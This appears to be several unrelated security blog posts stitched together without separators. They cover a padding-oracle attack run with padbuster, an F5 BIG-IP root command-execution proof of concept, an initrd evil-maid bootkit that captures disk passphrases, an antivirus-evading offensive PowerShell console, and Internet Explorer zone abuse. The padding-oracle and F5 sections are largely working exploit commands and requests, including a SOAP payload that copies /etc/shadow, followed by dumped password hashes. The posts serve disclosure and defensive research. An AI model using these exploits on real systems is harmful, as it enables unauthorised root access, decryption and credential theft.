I wanted to share some practical tricks on exploiting a padding oracle vulnerability. This type of vulnerability allows an attacker to decrypt ciphertexts and encrypt plaintexts. More information on what the padding oracle attack is and how it works can be found in a previous blog post by Brian Holyfield.

The example app used for this blog post has additional flaws that allow recovery of the encryption key. We will use padbuster to run a padding oracle attack and see how the python-paddingoracle library can be used to create a custom exploit tool. You can find the vulnerable example app on GitHub.

The application decrypts a request parameter named ‘cipher’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: ApplicationUsername=user&Password=sesame

We know that AES-128 with PKCS#5 padding and the same static password for both the encryption key and initialisation vector are used to encrypt and decrypt this value. There is no HMAC or other message integrity check.

Simple padding oracle scenario

The keywords PKCS#5 and no MAC indicate that the application might be vulnerable to a padding oracle attack. By flipping bits in the first block we can verify that there are no syntax checks performed on the decrypted data. And we can see that the app happily processes the garbage data in the first block:

# curl http://127.0.0.1:5000/echo?cipher=ff4b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: �+�]7N�d�����N�me=user&Password=sesame

The next step is to check how the application reacts to incorrect padding. We can do this by flipping bits in the last block. It appears that the application returns ‘decryption error’ when the padding is incorrect.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
decryption error

Now that we know that the application is vulnerable we can run padbuster to exploit it. I highly recommend reading Brian’s padbuster blog post and looking at the help output, but for convenience you can find the padbuster synopsis below:

padbuster URL EncryptedSample BlockSize [options]

In this scenario running padbuster is straightforward: The block size is 16 (16 bytes = 128 bits) and the only additional switch we need for now is -encoding 1 (lower case HEX).

# padbuster "http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 51
INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
INFO: No error string was provided...starting response analysis
*** Response Analysis Complete ***
The following response signatures were returned:
-------------------------------------------------------
ID#    Freq    Status    Length    Location
-------------------------------------------------------
1         1       200        42        N/A
2 **    255       200        16        N/A
-------------------------------------------------------
Enter an ID that matches the error condition
NOTE: The ID# marked with ** is recommended : 2
Continuing test with selection 2
[+] Success: (24/256) [Byte 16]
[+] Success: (165/256) [Byte 15]
[snip]

Block 1 Results:
[+] Cipher Text (HEX): c59ca16e1f3645ef53cc6a4d9d87308e
[+] Intermediate Bytes (HEX): 2926e03c56d32edd338ffa923df059e9
[+] Plain Text: ame=user&Passwor

*** Starting Block 2 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]

Note that it was not possible possible to recover the first block. Looking at the block diagram for CBC decryption below helps to understand why. By leveraging the padding oracle it would be possible to obtain the intermediate value after decrypting the first block (-noiv option in padbuster). However, we don’t know the IV to calculate the plaintext for the first block.

Attentive readers might have realised already that knowing the plaintext allows us to calculate the IV, which is used as the encryption key. This is explained in more detail further down.

Image may be NSFW.
Clik here to view.

 To save time we could also specify the error string for invalid padding:

-error “decryption error”

A more complicated example

Now let’s look at a slightly more complicated scenario: The application does not return a dedicated error message for incorrect padding. Instead, the application parses the fields in the decrypted data and returns an error message if a required field is missing. In this case the required fields are ‘ApplicationUsername’ and ‘Password’.

Here is an example for a successful request: The ‘cipher’ parameter decrypts successfully and contains all required fields. The application responds with the decrypted value and all parsed fields.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6
decrypted: ApplicationUsername=user&Password=sesame
parsed: {'Password': ['sesame'], 'ApplicationUsername': ['user']}

If we send a request that only contains a ‘Password’ field the application responds with ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/echo?cipher=38d057b13b8aef21dbf9b43b66a6d89a
decrypted: Password=sesame
# curl http://127.0.0.1:5000/check?cipher=38d057b13b8aef21dbf9b43b66a6d89a
ApplicationUsername missing

In the case where the crypt value only contains an ‘ApplicationUsername’ field the application responds with ‘Password missing’.

# curl http://127.0.0.1:5000/echo?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
decrypted: ApplicationUsername=user
# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b309efe9c9fb71ea283dd42e445cc7b54
Password missing

When tampering with the last block the padding becomes invalid. As a result the application is not able to decrypt the ‘cipher’ parameter and returns ‘ApplicationUsername missing’.

# curl http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4ff
ApplicationUsername missing

Unfortunately, launching padbuster with minimal options fails: When it attempts to brute force the first block it always encounters the same error message (ApplicationUsername missing).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1  
[snip]
ERROR: All of the responses were identical.
Double check the Block Size and try again.

But we can still leverage the order the application checks for the fields: It also returns ‘ApplicationUsername missing’ if the padding is invalid. We only need to prepend encrypted data that contains the ‘ApplicationUsername’ field: If the padding is correct then we get a different response. This way we can decrypt all but the first block.

In the example below the first two blocks of the ciphertext are prepended when performing the padding oracle attack. This is because the ‘ApplicationUsername’ field spans over two blocks (see Appendix).

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e"
+-------------------------------------------+
| PadBuster - v0.3.3                        |
| Brian Holyfield - Gotham Digital Science  |
| labs@gdssecurity.com                      |
+-------------------------------------------+
INFO: The original request returned the following
[+] Status: 200
[+] Location: N/A
[+] Content Length: 117

INFO: Starting PadBuster Decrypt Mode
*** Starting Block 1 of 2 ***
[snip]
-------------------------------------------------------
** Finished ***
[+] Decrypted value (ASCII): ame=user&Password=sesame
[snip]

Encrypt

We can also encrypt arbitrary content (Please refer to the original padbuster blog post on how this works behind the scenes). The only restriction is that it is not possible to control the first block. This is due to the static IV being used. The application would still accept the resulting ciphertext if we terminate the uncontrollable data of the first block with ‘=bla&’. Note that the crafted ciphertext does not have to have the same length as the original one.

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -plaintext "=bla&ApplicationUsername=admin&Password=admin"
[snip]
[+] Encrypted value is: 753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
-------------------------------------------------------

# curl http://127.0.0.1:5000/check?cipher=753e2047e19bf24866ae5634f3454ef3a3802d5144a051a7246762f57a16f73531d76ada52422e176ea07e45384df69d00000000000000000000000000000000
decrypted: ��_c�I�B�C���=bla&ApplicationUsername=admin&Password=admin
parsed: {'\xf7\xc1_c\x9e\x1cI\x9aB\xccC\x10\xac\x07\x90\x97': ['bla'], 'Password': ['admin'], 'ApplicationUsername': ['admin']}

Obtaining the key

Being able to decrypt and craft the ‘cipher’ parameter would be bad enough, but setting the IV to the encryption key introduces another vulnerability: The IV (and therefore the encryption key) is the plain text of the first block XORed with the intermediate value from decrypting the first block (see block diagram below).

We can assume that an attacker could guess the plain text based on the specification, and the decrypted part from the padding oracle attack or messages displayed by the application.

 Image may be NSFW.
Clik here to view.

Using padbuster’s -noiv switch we are able to get the intermediate value after decrypting the first block:

# padbuster "http://127.0.0.1:5000/check?cipher=484b850123a04baf15df9be14e87369b" "484b850123a04baf15df9be14e87369b" 16 -encoding 1 -error "ApplicationUsername missing" -prefix "484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308e" -noiv               
[snip]
Block 1 Results:
[+] Cipher Text (HEX): 484b850123a04baf15df9be14e87369b
[+] Intermediate Bytes (HEX): 7141425f5d56574351562f1730213728
[snip]

Once we have obtained the intermediate value we can XOR it with the plaintext to obtain the encryption key:

0x4170706c69636174696f6e557365726e (plaintext ‘ApplicationUsern’)
XOR
0x7141425f5d56574351562f1730213728 (intermediate value)
=
0x30313233343536373839414243444546 (key ‘0123456789ABCDEF’)

Custom Python script

The python-paddingoracle library allows us to create a custom exploit tool for situations where padbuster is not flexible enough. For example, when the target application uses CSRF tokens or when testing web services.

Two Python scripts that exploit our example web application can be found on GitHub. The first script ‘http-simple.py’ is targeted for the straightforward scenario. Exploiting the more advanced scenario, which requires a prefixed ciphertext has been implemented in ‘http-advanced.py’. This script also demonstrates how to encrypt a plaintext and calculate the key.

A few additional notes

The Bit flipper payload in the Intruder module of the Burp Proxy is great to see how an application handles encrypted values. You should get suspicious if it accepts some tampered payloads or returns different error messages. This would usually happen if there is no MAC.

Encryption without MAC should be considered a finding regardless of any padding oracle. Because of the way CBC works we can always tamper with encrypted values.

Prepending another ciphertext in padbuster can come in handy in other situations as well: The application could have an id within the encrypted fields to detect tampering (similar to a nonce). By prepending a mangled block we can stop the application from recognising the id for the current cipher field.

For the sake of convenience the sample app also has a feature to encrypt arbitrary data:

# curl http://127.0.0.1:5000/encrypt?plain=ApplicationUsername%3Duser%26Password%3Dsesame
crypted: 484b850123a04baf15df9be14e87369bc59ca16e1f3645ef53cc6a4d9d87308ed2382fb0a54f3a2954bfebe0a04dd4d6

Appendix: Ciphertext blocks

Block 1:
484b850123a04baf15df9be14e87369b
ApplicationUsern

Block 2:
c59ca16e1f3645ef53cc6a4d9d87308e
ame=user&Passwor

Block 3:
d2382fb0a54f3a2954bfebe0a04dd4d6
d=sesame[padding]

Earlier this year GDS discovered a vulnerability in the F5 BIG-IP LTM product, that allows a user with limited access to the system to escalate his privileges and obtain highly privileged remote command execution on the device. This vulnerability was described in a previous post.

In this post we’ll show how to manually exploit the vulnerability. A Metasploit module to automate the process is also available - see https://www.rapid7.com/db/modules/exploit/linux/http/f5_icall_cmd for details. 

Overview:

The issue was identified in the SOAP interface exposed by the devices at https://<host>/iControl/iControlPortal.cgi (a similar issue, although on a completely different function, was previously found in this same interface -  see CVE-2014-2928 for details). An attacker with valid credentials for the web interface and the “Resource Administrator” role can abuse the iCall SOAP functions to run arbitrary commands on the device with root privileges.

Using the iCall interface it’s possible to create and run management scripts, these are executed by a Tcl interpreter effectively running with root privileges.

See the F5 Security Advisory for a list of vulnerable versions.

Proof-Of-Concept:

The following steps demonstrate the attack by retrieving the “/etc/shadow” file, containing all password hashes from the device. However, it is possible to obtain a root command shell on the device using the same method.

For purpose of demonstration a user named “test” with the “Resource Administrator” role and password “default” has been created on the device. This user was defined without any shell access. 

The following HTTP POST request will create an iCall script on the device, the malicious payload exec /bin/sh -c “id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs” is highlighted in red.

The executed script does not return any output, however, the content of the shadow password file will be copied into a directory used to store configuration backups for the device. From here it is be possible to retrieve it using the web interface, as will be deomonstrated later. We’ll include also in the file the output from the “id” command, to show that the commands are executed as root.

Request:

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/Script
Host: 10.0.0.249
Content-Length: 866
Authorization: Basic dGVzdDpkZWZhdWx0=


<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:scr="urn:iControl:iCall/Script" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<scr:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exploit</item></scripts>
<definitions xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl"><item>exec /bin/sh -c "id>/var/local/ucs/file.ucs;cat /etc/shadow >>/var/local/ucs/file.ucs;chmod a+r /var/local/ucs/file.ucs" </item></definitions>
</scr:create>
</soapenv:Body>
</soapenv:Envelope>

Response:

HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:30:32 GMT
Server: Apache
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428

<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:createResponse
xmlns:m="urn:iControl:iCall/Script"></m:createResponse>
</E:Body>
</E:Envelope>

To trigger execution of the script the iCall interface provides different types of handlers; in this case a PeriodicHandler will be used with the following request: 

POST /iControl/iControlPortal.cgi HTTP/1.1
Accept-Encoding: gzip,deflate
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:iControl:iCall/PeriodicHandler
Host: 10.0.0.249
Content-Length: 923
Authorization: Basic dGVzdDpkZWZhdWx0=

<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:per="urn:iControl:iCall/PeriodicHandler" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">
<soapenv:Header/>
<soapenv:Body>
<per:create soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<handlers xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>exploitHandler</item>
</handlers>
<scripts xsi:type="urn:Common.StringSequence" soapenc:arrayType="xsd:string[]" xmlns:urn="urn:iControl">
<item>/Common/exploit</item>
</scripts>
<intervals xsi:type="urn:Common.ULongSequence" soapenc:arrayType="xsd:long[]" xmlns:urn="urn:iControl">
<item>30</item>
</intervals>
</per:create>
</soapenv:Body>
</soapenv:Envelope>

Response:

HTTP/1.1 200 OK
Date: Fri, 26 Jun 2015 14:36:30 GMT
Server: Apache
Set-Cookie: BIGIPAuthCookie=E41B1D179BD9DBF88AF1FF43F2390E5ED6BD6199; path=/; Secure;
Set-Cookie: BIGIPAuthUsernameCookie=test; path=/; Secure;
SOAPServer: EasySoap++/0.6
X-Frame-Options: SAMEORIGIN
Content-Type: text/xml; charset="UTF-8"
Content-Length: 428

<E:Envelope
xmlns:E="http://schemas.xmlsoap.org/soap/envelope/"
xmlns:A="http://schemas.xmlsoap.org/soap/encoding/"
xmlns:s="http://www.w3.org/2001/XMLSchema-instance"
xmlns:y="http://www.w3.org/2001/XMLSchema"
xmlns:iControl="urn:iControl"
E:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
<E:Body>
<m:createResponse
xmlns:m="urn:iControl:iCall/PeriodicHandler"></m:createResponse>
</E:Body>
</E:Envelope>

From this point the script will be executed every 30 seconds by the generated handler.

The output file can be retrieved by logging into the device and navigating to System->Archives, as shown in the following screenshots:

Image may be NSFW.
Clik here to view.

Image may be NSFW.
Clik here to view.

The downloaded file contains the output of the commands, as expected:

$ cat file.ucs
uid=0(root) gid=0(root) context=system_u:system_r:init_t
root:$1$8kIUIrbb$b7FOEXTrKOiOgJ1w0T78F/:16496:0:99999:7:::
bin:*:16153::::::
daemon:*:16153::::::
adm:*:16153::::::
lp:*:16153::::::
mail:*:16153::::::
uucp:*:16153::::::
operator:*:16153::::::
nobody:*:16153::::::
tmshnobody:*:16153::::::
admin:$1$VFlFWR0F$iIy0wXSbTl4EpmMYPnX1A.:16496:0:99999:7:::
apache:!!:16153::::::
mysql:!!:16153::::::
vcsa:!!:16153::::::
oprofile:!!:16153::::::
sshd:!!:16153::::::
syscheck:!!:16153::::::
rpc:!!:16153::::::
f5_remoteuser:!!:16153::::::
pcap:!!:16153::::::
tomcat:!!:16153::::::
ntp:!!:16153::::::
named:!!:16153::::::
test:$1$SO17paaX$hNC27dZsBM9l3kSFuY/h9.:16500:0:99999:7:::

Remediation:

Apply vendor patches. If this is not feasible, review configuration for any accounts in the Resource Administrator role. Update the configuration to use provide the least privilege necessary while acknowledging the Resource Administrators have unconstrained privileges patches for this issue are applied.

Disclosure Timeline:

2015/04/07 - Vulnerability reported to the F5 Security Response Team.
2015/04/27 - F5 confirm vulnerability and affected versions.
2015/09/05 - F5 release version 12.0.0 which is not affected by this vulnerability.
2015/09/22 - F5 release 11.5.3 HF2 which resolves this issue.
2015/10/30 - F5 release 11.6.0 HF6 which resolves this issue.
2015/11/19 - Metasploit modue released.

Tis the season to be jolly… or so they say; but it is also the season to be wary and vigilant. At GDS we were recently discussing cold boot attacks against full disk encryption on Linux systems – it didn’t take us long to agree it was feasible, but just how hard would it be and how practical is it to execute an attack? After a little searching we didn’t come across any pre existing tools so there was only one way forward…

Image may be NSFW.
Clik here to view.

The Attack

Evil maid attacks can be used to target any operating system. For this research we focused our attention on Linux with LUKS full disk encryption.

Traditionally, when a Linux distribution is installed with full disk encryption there is a small partition that remains unencrypted to enable the decryption and bootstrapping onto the encrypted drive. This partition will be mounted at /boot and contains the kernel and the initial ramdisk (initrd). While it would also be possible to attack the bootloader or the kernel we decided to focus on the initrd image.

The initrd is a minimal set of tools for decrypting and mounting the root filesystem, along with any other tasks required to get other mounts ready (e.g /proc, /dev). Once the initrd has finished its job, it performs a pivot_root, during which it removes itself as the root filesystem and launches the main init script on the new (real) root filesystem. A lot of trust is placed on initrd, however, it is conceptually trivial to modify the initrd to run malicious code. The exact method for performing this might vary between different distributions, but it remains relatively simple.

The initrd is traditionally a gzip compressed cpio image. This is the case for the Debian based systems we tested, whereas RedHat based distributions (Fedora, RHEL, CentOS) now use dracut and consist of an uncompressed cpio image with a gzip compressed cpio image appended. Debian based initrds use ash shell scripts to perform the setup, whereas dracut based installations use systemd and its associated configuration method.

To perform our specific attack we chose to implement an LD_PRELOAD based bootkit due to the ease of development, but the same theory can be applied to injecting a malicious kernel module or other persistent binary. Our main aim in using the LD_PRELOAD method is to inject a shared object into the first binary that is executed on the freshly decrypted root filesystem. This is usually /sbin/init and will have the PID of 1. To do this, the easiest method is to just modify the init script to export this environment variable so that it is set when the pivot_root occurs. Because the filesystem changes it is also necessary to copy the shared object to the new filesystem at an appropriate time (post decryption). This can be achieved with the following two lines inserted inside the initrd’s init script just before the root switch is executed:

cp /hack.so /${rootmnt}/hack.so
export LD_PRELOAD=/hack.so

This works because the real root filesystem is decrypted and mounted under the temporary root mount prior to the pivot and the rootmnt variable is populated with the location of the mountpoint. However, before this takes place it is necessary to remount the target filesystem as read write as by default it is read-only. In our case we patched the init script where it parses the kernel commandline so that whatever argument was provided, the root is mounted readwrite. An alternative to this could be to just add mount -o remount,rw /${rootmnt} to our list of injected commands.

This injection point does not exist on dracut based initrds however, as the init executable is a binary rather than a shell script. This creates three issues of which we must bypass all to achieve injection into pid 1.

The first issue relates to copying our binary into the decrypted root filesystem. This is the easiest of the three to bypass. To achieve this we added two ExecPre directives to the systemd service file responsible for pivoting the filesystem root. This is roughly equivalent to inserting commands just before the script executes switch-root as before. The first command remounts the root filesystem as read-write (as it is read-only by default), and the second performs the copy.

The second issue is with LD_PRELOAD. As we are not modifying a shell script, and we cannot pass environment variables to this process (as it is called by the kernel), it becomes tricky to load our shared object. The easiest way to bypass this is to move the init binary to a different location, and insert our own shell script in its place, which ends by executing the original binary. Only 2 lines are required, the first to export LD_PRELOAD, and the second is to execute the original systemd binary. Note that this injection is into the initrd’s pid 1, not the eventual root filesystems pid 1. The reason we obtain this injection point is to help us with issue three.

The third issue is that before calling the switch-root command, the systemd environment clears out all environment variables using the clearenv() function. As this function is part of the standard library, it is possible for us to override this function so the injected process calls our function rather than the original. Because we do not care about actually clearing out the environment variables, we do not do a very thorough job. Our version of the clearenv() function will remove all environment variables, and inject our LD_PRELOAD variable into the environment. As the clearenv() function is only called once in this process (the time we want to break it anyway), this modification will not cause any side effects.

These three patches, when combined, will result in our shared object being copied to the encrypted root filesystem, and LD_PRELOAD being injected into the eventual pid 1 in our target filesystem, as in our Debian based example. Note that these are not security features, just that the systemd command pipeline is more complex than that of a flat shell script.

With this level of access, it is also possible to exfiltrate the user’s password provided for decrypting the root filesystem. Note, this does not require any weaknesses in the encryption, but subverts the password input processing.

In the case of Debian initrds, the password is piped between the executable that asks the user for their password and the executable that decrypts and mounts the root filesystem. We can just inject our own script in process pipeline to save the password as well as passing it on.

As for systemd, it uses more complex inter-process communication via Unix domain sockets. Rather than attack this part of the process, we chose to attack the actual mounting of the filesystem. Once again this is a library function, in a dynamically loaded library, called inside the systemd binary so it is possible to hook the function. The function that decrypts the drive is called crypt_activate_by_passphrase. This function takes, among other arguments, the password as a char array. By hooking this function we are able to access the the password. In this case, we want to wrap the original function so we use dlsym to access the real function and call it ourselves. However, before doing this we also save the password for retrieval later.

To ‘save’ the password, we simply append it to the shared object we later copy into the root filesystem. We chose this method because we already know that the file exists and will be copied, whereas we do not necessarily have any other mounts that will persist. This method also decreases the number of files we touch on disk. To access the password we then read the password from the end of our own file (located by reading the LD_PRELOAD variable) and set it as the value of the PASSWORD environment variable in the context of our reverse shell, so (in the case of meterpreter) the ‘getenv PASSWORD’ command will retrieve the password used to decrypt the drive. In our development, our proof of concept .so simply ran a python meterpreter reverse shell, as python was available by default on all of our targets.

Mitigations

There are a number of methods that can be employed to mitigate these issues. However, even using these mitigations there is no way to protect an attacker with physical access and enough time from reflashing the BIOS/UEFI.

The first mitigation would be to keep the bootloader, kernel and initrd on an external usb drive which is booted from in lieu of a /boot partition. Whilst possibly the most secure option, it is also the most awkward for the user as they must remember to always pull the drive when leaving the laptop unattended, including safely unmounting the /boot partition, if not already unmounted. It will also make updates more awkward as it is necessary to have the usb key present to update the initrd/kernel.

Another option would be to completely disable booting off external media. This should remove the possibility for automated attacks, but in some cases, such as with Debian initrds which contain a full shell, it may still be possible to manually mount and modify the initrd from inside the initrd itself. This could be done via an automated keyboard style device, which could achieve the same end without the requirement to boot off external media.

A slightly lesser option would be to enable the BIOS boot password. This should disable anyone from booting to anything without the BIOS password.

These last two options do not protect against the case in which the attacker has enough time to pull the drive and use their own laptop/device to mount the hard drive and modify it directly.

The final, and most secure option would be to extend SecureBoot into the initrd. As it stands, SecureBoot is able to verify from the bootloader to the kernel inclusive, but it stops short of the initrd. If this can be extended to also verify a signed initrd then it would be difficult to modify anything on the /boot partition without being detected. As above, there will still be a potential for attack if the attacker is able to flash the BIOS/UEFI to disable secureboot.

The best way to protect yourself from these kinds of attack would be to never allow your devices to fall into the hands of attackers. Our proof of concept attack was able to backdoor all targets in just over two minutes, but in a real world attack it may be possible to engineer a target specific payload that could take only a few seconds to run, if it only required copying a single file. If an attacker has physical access and just a little time we’ve demonstrated that if they come prepared this attack is more than feasible, so remember to keep your laptop safe this Christmas.

The code and more detail on our tool is available on our github: https://github.com/GDSSecurity/EvilAbigail

Image may be NSFW.
Clik here to view.

Thanks to all those who attended GDS’s inaugural GDSCon 2016 conference in London. We had a close to capacity crowd at 68 attendees!

To overview what was covered on the day:

• Keynote: Letters from a broken fence line: Cyber lessons learned in Helmand province
• Building security into the development lifecycle
• A peek into what GDS Labs has been up to
• Testing your defences (or are you testing what you think you are?)
• Lessons from the Red Team trenches
• Hybrid security assessments
• Why using crypto is not Plug-and-Play
• Fun with exploiting XML entity expansion

And not to be left out - thanks to the team running the lock picking village on the day.

The GDS events team will be going through all the great feedback to help make the next GDSCon event even better!

I’ve been a huge PowerShell fan ever since I first discovered it as a Systems Administrator many years ago. It’s an incredibly easy to use, intuitive and powerful language and helped me efficiently address a lot of tasks that came across my plate. Unfortunately, the other Systems Administrators that I worked with were less keen to pick it up. Years of pointing and clicking had made them nervous about using a command line.

For different reasons, the Information Security community is in a similar state. PowerShell is an incredible platform for both offense and defense. There is a lot of cutting edge work being done by members of the PowerShell community, but the Information Security community at large is unaware of a lot of their contributions. This may stem from a lack of interest in Windows development or fear of having to learn yet another scripting language. No matter the reason, a lot of security professionals are missing out on some great work.

Enter PS>Attack

To help make using offensive PowerShell easier, I’ve created PS>Attack. PS>Attack is a custom made console that is designed to emulate PowerShell and enhance it. Built into PS>Attack are over 110 offensive PowerShell commands representing some of the greatest work going on in the offensive PowerShell community. This selection of tools runs the entire gamut of a security assessment including Reconnaissance, Privilege Escalation, Backdoors and Data Exfiltration. It also includes a custom command called “get-attack” which helps to serve as an attack search engine. It takes a word or phrase and returns a list of commands and their descriptions that match what you’re looking for.

Image may be NSFW.
Clik here to view.Get-Attack returning a list of commands related to the word “Password”

All of this is bundled into a single executable that runs on anything from a fresh install of Windows 7 all the way up to a fully patched version of Windows 10. There’s no installer, just double click and start attacking.

Not Just for the Lab

In creating PS>Attack, I didn’t want to create a tool that was only used in a lab environment. I wanted to create something that was useful and could find its way into a penetration tester’s bag of tricks. To this end, PS>Attack is designed to evade antivirus and other hurdles. The various scripts and payloads that provide the commands are encrypted before being embedded into the executable. When PS>Attack is run, these scripts are decrypted directly into memory, so the plain text payloads never touch the hard drive. This helps avoid detection by most antivirus solutions.

PS>Attack is also written using native .NET functions and objects to process PowerShell code, it does not rely on “powershell.exe”. Because .NET is such an important part of Windows, this means that it’s very difficult for an organization to prevent PS>Attack from accessing the functionality it needs to run.

Getting PS>Attack

PS>Attack is available on our Github account. You can either compile the code yourself using Visual Studio or you can download pre-compiled binaries from the “releases” tab.

Acknowledgments

PS>Attack relies on a lot of tools to make itself effective and it’s important to make sure that the authors of those tools get the attention they deserve. Scripts from the following tools and frameworks are incorporated into PS>Attack. These tools represent some of the best work being done in offensive PowerShell today:

• PowerSploit

• Nishang

• Inveigh

• PowerCat

Convert2FPR:  introducing ESLint and PMD support.

Expanding on our previous blog post where we released a tool to convert Findbugs’ XML output into Fortify’s FPR format, we’ve now released two additional XSL transformations to provide ESLint and PMD XML output conversion.  

ESLint is an open source JavaScript lint application written using Node.js. ESLint allows all rules to be completely configurable, allowing developers to create their own rules. A number of security plugins for client-side JavaScript and Node.js have emerged recently.

PMD is a source code analyser that supports Java, JavaScript, PL/SQL, Apache Velocity, XML and XSL. GDS released security rules for PMD in a previous post.

We’ve also added a fast XSL transformation for Findbugs, which transforms only security related issues to the FPR format.

The example below demonstrates current the usage of the tool:

Findbugs
$ java -jar convert2FPR.jar findbugs report.xml

Fast-Findbugs (Security Issues only)
$ java -jar convert2FPR.jar findbugs-fast report.xml

ESLint
$ java -jar convert2FPR.jar eslint report.xml

PMD
$ java -jar convert2FPR.jar pmd report.xml

The first parameter represents the input format; the second parameter is the XML report we wish to transform. The output file is ./report.fpr .

The source code and compiled tool can be found in our Github Repository: 

https://github.com/GDSSecurity/Convert2FPR/

This post explains how to abuse Internet Explorer’s Local Intranet Zone using malicious web pages served from the local disk. In corporate environments this could lead to impersonation of the victim on internal web applications and exfiltration of data outside the corporate network. 

Internet Explorer renders web pages in Security Zones; each zone comes with security settings that reflect the level of safety of that zone. 

When Internet Explorer opens a web page, the Urlmon DLL determines the zone from which the page was loaded. There are four predefined security zones:

• Local intranet zone: all sites inside an organisation.

• Trusted sites zone: all sites considered trusted.

• Restricted sites zone: all sites considered not trusted. 

• Internet zone: all Internet sites (not in the Trusted or Restricted zones)

In addition to the above four zones, the hidden My Computer zone includes all files served from network shares, the local hard disk and removable drives.

Cross-Site Request Forgery (CSRF) is an attack that abuses the inherent trust a web server places in the browser. Generally, any request within an authenticated session is assumed to be made, directly or indirectly, by the user. The attack described below can be considered a variation of Cross-Site Request Forgery where the attacker can also read the response. Instead of coercing the user to visit a malicious Internet website, the attacker sends an email with a malicious HTML page attached; when the victim opens this page with Internet Explorer it is loaded from the local file system and Internet Exploror (IE) renders it in the My Computer security zone. This zone allows scripts to issue requests to any website bypassing both the Same Origin Policy (SOP) and Cross-Origin Request Sharing (CORS).

Since IE 7, Protected Mode adds an integrity mechanism to restrict write access to securable objects (like processes, files, and registry keys) with higher integrity levels. If Protected Mode is disabled cookies are included when (malicious) scripts issue HTTP requests. The Local Intranet Zone is used in many corporate environments for internal web applications. Note that Protected Mode is disabled by default for the Local Intranet Zone on all current versions of Internet Explorer. Consequently, the malicious web page attached to an email described above can include JavaScript to target an internal application to which the victim is authenticated. This JavaScript will bypass SOP and CORS, because the page is rendered in the My Computer Zone, which enables the attacker to perform requests and read responses.
